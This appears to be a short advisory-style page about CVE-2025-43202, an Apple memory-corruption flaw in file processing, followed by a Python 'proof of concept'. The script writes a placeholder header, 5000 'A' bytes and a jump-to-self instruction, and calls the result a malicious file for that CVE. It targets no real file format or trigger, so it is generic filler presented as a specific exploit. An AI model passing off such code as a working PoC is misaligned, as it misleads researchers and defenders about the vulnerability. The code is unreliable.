This issue was addressed with improved memory handling. This issue is fixed in iOS 18.6 and iPadOS 18.6, macOS Sequoia 15.6. Processing a file may lead to memory corruption.
The following code is for security research and authorized testing only.
python
# PoC for CVE-2025-43202 (Conceptual)
# This script demonstrates the creation of a malformed file intended to trigger the memory corruption.
# Note: Specific file format and trigger pattern depend on the vulnerable component.
import struct
def generate_exploit_file(filename):
with open(filename, 'wb') as f:
# Simulate a file header that passes initial checks
header = b'\x00\x01\x02\x03\x04\x05\x06\x07'
f.write(header)
# Inject payload to cause memory corruption
# This oversized buffer is intended to overflow the target buffer
payload = b'A' * 5000
f.write(payload)
# Add specific patterns or ROP gadgets here if known
f.write(b'\xeb\xfe') # Infinite loop as a simple crash indicator
if __name__ == "__main__":
print("Generating malicious file for CVE-2025-43202...")
generate_exploit_file("cve_2025_43202_poc.dat")
print("File generated. Do not open on unpatched systems.")